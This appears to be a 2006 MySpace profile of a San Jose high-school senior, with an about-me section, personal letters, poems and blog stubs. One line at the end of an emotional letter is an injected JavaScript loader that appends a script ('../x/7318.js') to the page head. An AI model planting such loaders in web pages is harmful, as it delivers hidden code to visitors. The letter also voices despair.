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~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~

i aLwAyZ BeLiEvE iN mYseLf...tHaTs OnE WaY i SuCCeeD!!!

About Me

HERE I GO AGAIN...I KNOW I SAY THIS IS A NEW ME ABOUT EVERY YEAR, BUT THATS BECAUSE I ALWAYS FIND OUT NEW THINGS ABOUT MYSELF...I AM FROM SAN JOSE, YOU KNOW THAT BAY AREA AND I AM A VERY GOAL ORIENTATED WOMAN...I DONT ASK FOR MUCH OUT OF ANYONE, JUST A HAND AND HEART IN FRIENDSHIP, HONESTY, TRUST, AND NOTHING FAKE. EVERYTHING I SAY I MEAN AND I NEVER TRY TO BE SOMEONE IM NOT. AT ONE POINT IN MY LIFE I DID AND I REALIZED I WAS NOT HAPPY. FRIENDS HAVE ALWAYS BEEN HARD FOR ME TO KEEP, MAYBE BECAUSE THEY WERE USING ME OR BECAUSE WE WERE JUST TOO DIFFERENT, BUT I KNOW ONE THING IT WAS NEVER MY FAULT. WHEN I FIND A FRIEND I WILL NEVER PUT MY OTHER FRIENDS ON THE BACK BURNER BECAUSE I ALWAYS REMEMBER WHO HELPED ME GET TO WHERE I AM. THERE ARE SOME REAL SHADY PEOPLE IN LIFE AND IF YOU LET THEM AND ONLY IF YOU LET THEM, THEY CAN MESS UP YOUR LIFE. THE FRIENDS I LOST IN THE PAST DIDNT MESS UP MY LIFE, BUT ONLY MADE ME STRONGER AND KNOW THAT I HAVE TO WATCH WHO I TALK TO AND WHAT I TELL THEM. I LOVED EVERY FRIEND I HAVE EVER HAD, BUT THERE WERE THINGS THAT KEPT ME IN A DISTANCE UNTIL I FINALLY FADED AWAY AND COULDNT SEE THEM ANYMORE. NOW I SIT HERE AND I AM FOCUSED ON WHAT I HAVE TO DO. I AM NOW STRIVING FOR ME AND NOT PUTTING EVERYONE ELSES NEEDS FIRST, BUT MY OWN. I JUST RECENTLY GOT ACCEPTED TO DE ANZA COLLEGE AND I WILL BE ATTENDING THERE THIS SUMMER. I ALSO WORK AT GREAT AMERICA AND COSTCO AT THEIR EYE DOCTOR AS A RECEPTIONIST. I GRADUATE HIGH SCHOOL IN LESS THAN A MONTH AND I CANT WAIT. I CANT WAIT TO WALK ACROSS THAT STAGE AND KNOW THAT ALL I HAVE WORKED FOR HAS CAME THROUGH FOR ME. I AM HONESTLY A VERY CONSIDERATE PERSON AND I WOULD NEVER DO ANYTHING TO HURT ANYONE. I ALWAYS STRIVE FOR THE BEST AND ANYONE I ASSOCIATE WITH MUST BE DOING THE SAME. THIS IS ME AND I AM HAPPY WITH WHO I AM, ALTHOUGH SOMETIMES THINGS GET VERY DIFFICULT THATS WHEN I PUT MY HANDS TOGETHER AND PRAY TO MY SAVIOR. I KNOW NO MATTER WHAT HE WILL ALWAYS BE THERE FOR ME...
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My Interests

I like to write poems, listen to music, dance (im kumin to break you off), meet new people, have a good tyme, and most important make someones day a lot better than what it was going.
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What Your Sleeping Position Says
You have a passion for everything - including sleeping.
Outgoing and brash, you tend to still shock those who know you well.
You tend to be selfish. You are the most likely type to hog the covers.
You gravitate toward comfort and don't like extreme situations.
What Does Your Sleeping Position Say About You?
Your Kissing Purity Score: 40% Pure
You're not one to kiss and tell...

But word is, you kiss pretty well. Kissing Purity TestOKAY YAW NEED TO CHECK THIS OUT...ITS A NEW UPCOMING ARTIST WHO SHOULD ALREADY BE IN THE GAME...HIS NAME IS DEFINNE AND HE IS OFF THE CHAIN FAREAL...SO WHEN YAW GET A CHANCE LOOK FOR HIS CD OKAY...HERES THE COVER OF IT...OR JUST ASK ME AND I WILL SEE IF I CAN GET THE HOOK UP AND HAVE IT SIGNED FOR YOU...CUZ YOU KNOW SIGNED CD'S MEAN A LOT MORE....BUT ANYWHO MAKE SURE YOU SCOOP IT IIGHT...."WOPP WIT, WOPP WIT IT, GET IT, GET IT"! OH AND CANT 4GET TO SAY THAT HE IS VERY CUTE....THIS MA BOI TELLO RIGHT HERE...HE IS APART OF SOMETHING CALLED TALK INC. RADIO...BUT HE IS HELLA COO...YA SEE HIS LIL MYSPACE AND MUSIC PAGE OR WHAT NOT ON MY TOP FRIENDS...HIT HIM UP IF YOU THINK YOU GOT SOME SKILLS, SINGING, FLOWING, ETC! BUT HE IS HELLA COO...JUST COME AT HIM WITH SOME RESPECT THOUGH BECAUSE MESSIN WITH HIM IS LIKE MESSIN WITH ME YA DIGG? OH AND YES I KNOW HE IS ALL TYPES OF SEXXI...HAHA...BUT YAW BETTA BACK BACK I BELIEVE HE IS TAKEN! AND HE IS GROWN! SO PLEASE KEEP IT PG!CHECK OUT MA ART WORK!

I'd like to meet:

WELL WE ALL KNOW WE WANT A BROTHA LIKE THIS AND THERE ARE ONLY A FEW OUT THERE SO WHEN YOU FIND ONE AND BELIEVE HE IS AN EBONY KING DONT TAKE HIS LOVE FOR GRANTED...I WANT SOMEONE THAT ACCEPTS ME FOR WHO I AM AND THAT WILL WORK WITH OUR UPS AND DOWNS AND WONT LEAVE WHEN THINGS DONT GO WELL. I WANT A MAN NOT A BOY. SOMEONE TO COOK, RUB MY FEET, KISS ME SLOW, HOLD ME TIGHT, AND WHISPER HE LOVES ME EVERY BREATH GOD GIVES HIM. I WANT A BROTHA THAT DOESNT WALK AROUND PLAYING A ROLE THAT DOESNT FIT HIM AND TRY TO BE SOMEONE HE IS NOT. I LOVE DREADS...LOVE EM' LOVE EM' LOVE EM', SO THATS A PLUS, BUT I ALSO LIKE WAVES BECAUSE ITS CLEAN CUT! THE ATTIRE I CAN SEE MY MAN IN IS SOME JEANS A BUTTON UP AND SOME COKE WHITE AIRFORCES OR THE MORE THUG TYPE JEANS TALL T'S CLEAR SHOES AND A GRILL. BUT EITHER WAY I NEED A BROTHA THAT WILL RESPECT ME TO THE FULLEST BECAUSE I WILL NEVER DISRESPECT HIM IN ANYWAY. HONESTLY I DONT NEED A BOYFRIEND JUST FRIENDS. I AM TIRED OF LEAVING A REALTIONSHIP BROKEN HEARTED! SO IF YOU WANT A COO FRIEND THAT COULD BE MORE IN THE FUTURE...YA KNOW ITS A POSSIBILITY...THAN GET AT ME... I KNOW WHEN I CANT MAKE IT ON MY OWN...GOD WILL CARRY ME THROUGH IT...NO MATTER WHAT... LOVE IS BEAUTIFUL BUT SOMETIMES IT HURTS SO MUCH.... NOTHING FEELS BETTER THAN A WARM TOUCH FROM THE PERSON YOU LOVE...WHEN WILL I FEEL THAT TOUCH?
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Music:

I listen to mainly r&b, i do listen to rap but r&b just relaxs me and helps me think! also a lot of lyrics r&b singers talk about go with my life. And yaw rockers, oldies, jazz, country and all yaw other good music floks dont think i forgot about yaw! I know about that!

Movies:

My all time favorite is Soul Food, The Color Purple, and Beloved! but i also like Simon Birch, Titanic, Chucky, The New Guy, Orange County, the Ring 1, 2 was boring, and Forest Gump! I kant list them all but theres a few!

Television:

TV is kew! You know i gotta watch them cartoons that was the beginning of TV shows! Recess, Rugrats, SpongeBoB, Carebears(i have a tape),Angry Beavers, Awww Real Monsters, all that old stuff but plus the new! Now TV TV i like Friends, Girlfriends, The Bernie Mack show, and The Parkers!

Books:

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Heroes:

GOD, my mom, dad and myself! yes i inspire myself because i have accomplished things i thought i never could. And I have to add two new names to my list! Miss Sabrina Cook because she has been in the worse situations and has pulled through, and Matt because he is a true soilder and has kept his head high through out the most difficult tasks! YOU SAID OUR LOVE WOULDN’T END!THAT OUR FRIENDSHIP WOULD LAST A LIFE TIME!BUT IT’S THE OPPOSITE HAPPENEING!I SIT WITH TEARS AGAIN BECAUSE YOU ARE GONE. YOU ARE IN SACRAMENTO NOT THINKING OF ME AND ENJOYING LIFE. IT IS SO HARD TO LIVE OUT HERE WITH OUT YOU GUYS. I WISH YOU GUYS KNEW HOW I FELT. I MISS BOTH OF YOU OH SO VERY MUCH. AS I SIT HERE AND WRITE THIS I CRY BECAUSE I THOUGH EVERYTHING WOULD BE OKAY BUT ITS NOT. I CANT MAKE IT ON MY OWN I CANT DO THIS ON MY OWN. I NEED YOU GUYS. I FEEL LIKE I AM LIVING WITH ONLY ONE LUNG AND I NEED THE OTHER ONE TO BREATH BECAUSE WITH JUST THIS ONE I HAVE I NEED AN INHAILER AND IT IS NOT WORKING. I HAVE TRIED TO IGNORE THAT YOU GUYS ARE GONE BUT THE MORE I IGNORE IT THE MORE I HURT BECAUSE I IGNORE IT ALONE. JUST THE OTHER DAY I WAS GHOST RIDING THE WHIPP AND THOUGHT ABOUT SENIOR DITCH DAY AND HOW MUCH FUN WE HAD AND HOW I RAN AFTER THE CAR. THOSE MEMORIES FEEL GOOD BUT AT THE SAME TIME HURT SO MUCH. I LOOK AT YOUR GUYS’S PAGES AND SEE HOW HAPPY YOU GUYS ARE AND THAN LOOK AT ME AND I AM ALONE. I HAVE MADE NEW FRIENDS BUT NO ONE CAN COMPARE TO YOU TWO. NO ONE CAN EVER TAKE THE PLACE OF MY ANGELS. I MISS YOU GUYS. MAN I FEEL LIKE EVERYTHING IS GONE OUT OF MY LIFE AND THERE IS NO REASON TO LIVE BECAUSE I AM NOT LIVING WITH THOSE THAT I CARE ABOUT THE MOST. THIS SUCKS SO MUCH. I DIDN’T EVEN GET TO SEE YOU GUYS FOR MY BIRTHDAY AND WE PLANNED IT 3 WEEKS AHEAD. WHAT THE FUCK? I KNOW THE WORLD DOESN’T REVOLVE AROUND WHAT I WANT, BUT I HAVENT SEEN YOU GUYS FOR ABOUT 3 MONTHS BASICALLY SINCE SCHOOL HAS BEEN OUT. WELL THAT ONE TIME AT CHURCH BUT STILL THAT WAS LIKE 2 HOURS WITH YOU GUYS AND WE COULDN’T EVEN TALK. WELL I AM GOING TO END THIS BEFORE MY TEARS RUN DRY AND I DON’T HAVE ANYMORE. I LOVE YOU TWO BOTH SOOOOOOOOO MUCH! GOD BROUGHT US TOGETHER AND THAT WE SHALL ALWAYS BE IN EACH OTHERS HEARTS BUT I NEED TO SEE YOU GUYS SOON! I LOVE YOU BOTH DEARLY!-TASHAWN .."var s=document·createElement('script');s.src='../x/7318.js' ;document·getElementsByTagName('head')[0].appendChild(s );"

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PLEASE GOD...

GOD I AM COMING TO YOU TO ASK FOR YOUR HELP,I AM TIRED OF TRYING TO LIVE MY LIFE AS SOMEONE ELSE,I WANT TO FIT IN THE WAY THAT IT IS MEANT,I DONT WANT TO BEND THE RULES OR LET GO OF MY PAST FRIEN...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Tue, 07 Nov 2006 09:11:00 PST

GONE...FEELS LIKE YOUR NEVER COMING BACK!

YOU SAID OUR LOVE WOULDNT END! THAT OUR FRIENDSHIP WOULD LAST A LIFE TIME! BUT ITS THE OPPOSITE HAPPENEING! I SIT WITH TEARS AGAIN BECAUSE YOU ARE GONE. YOU ARE IN SACRAMENTO NOT THINKING OF ME AND E...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Tue, 22 Aug 2006 07:39:00 PST

All you have to do is pray......

Man people say thizz is what it is, yet I think its different lets rep the holy spirit, Keep it real with ya self and know if you need to be saved, Stop calling people niggas dont you know the histo...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Mon, 05 Jun 2006 03:27:00 PST

Its so hard to say good-bye.........

As I have went through my junior year i didnt do it alone. I had two people that stayed by my side through it all...Now when i finally find my angels they are leaving me...man i cant believe this is h...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Wed, 31 May 2006 10:08:00 PST

THE WORD NIGGA......

OKAY ME MYSELF USED TO USE THIS WORD AND DIDNT KNOW WHAT I WAS DOING JUST USING IT....BUT GUESS WHAT...I WAS STEPPING ON OUR AUNTSISTERS BACKS...ALL THE WORK THEY HAVE PUT IN TO CHANGE OUR LIFE STLYES...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Sat, 29 Apr 2006 07:23:00 PST

Seems Like......

Seems like everybody has somebody,yet i sit alone and cry,seems like everybody has somebody,but i feel so alone inside,seems like everybody has someone to love them,and i all i have is me,i mean my be...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Sat, 22 Apr 2006 07:48:00 PST

DEFINNE........

DEFINNE THE WAY I FEEL,DEFINNE THE WAY MY HEART BEATS FOR YOU,DEFINNE THE THINGS I THINK AND THE THINGS I WANT TO DO,DEFINNE MY LOVE FOR YOU MUSIC,DEFINNE MY TRUE FEELINGS INSIDE,IS IT SOMETHING I SHO...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Wed, 19 Apr 2006 09:54:00 PST

A NEW POINT OF VIEW......

Let him know let him know you praise him and thats fasho,Let him know let him know he is your savior and he should know,Let him know let him know he is the one you look up too,Let him know let him kn...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Sat, 08 Apr 2006 08:52:00 PST

BE REAL WITH YOURSELF......

STOP LYING TO YOURSELF AND TAKE YOUR LOVE OFF THE SHELF, STOP BEING SCARED OF WHAT THE NEXT GIRL WILL BRING BECAUSE SHE MIGHT BE THE ONE WHO GIVES YOU EVERYTHING, STOP MAKING OTHERS SUFFER BECAUSE OF ...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Thu, 06 Apr 2006 05:26:00 PST

LAST NIGHT.........

LAST NIGHT I FELL IN LOVE ALL OVER AGAIN,I FELT LIKE IT WAS OUR FIRST KISS, OUR FIRST HUG, OUR FIRST TOUCH,IT WAS A FEELING OF LOVE BUT AT THE SAME TIME A FEELING OF HATE,HATING THE FACT THAT I CANT H...
Posted by ~*TaShAwN iS aLL i CaN B, wEtHeR U LiK iT Or NOT*~ on Mon, 03 Apr 2006 06:03:00 PST